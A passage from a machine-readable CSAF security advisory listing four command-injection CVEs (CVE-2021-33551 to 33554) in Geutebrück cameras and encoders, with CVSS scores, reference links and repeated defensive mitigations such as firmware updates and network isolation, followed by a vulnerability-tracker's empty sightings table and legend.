"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33551",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33551 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33551"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33552",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33552 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33552"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33553",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33553 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33553"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33554",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33554 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33554"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
}
]
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.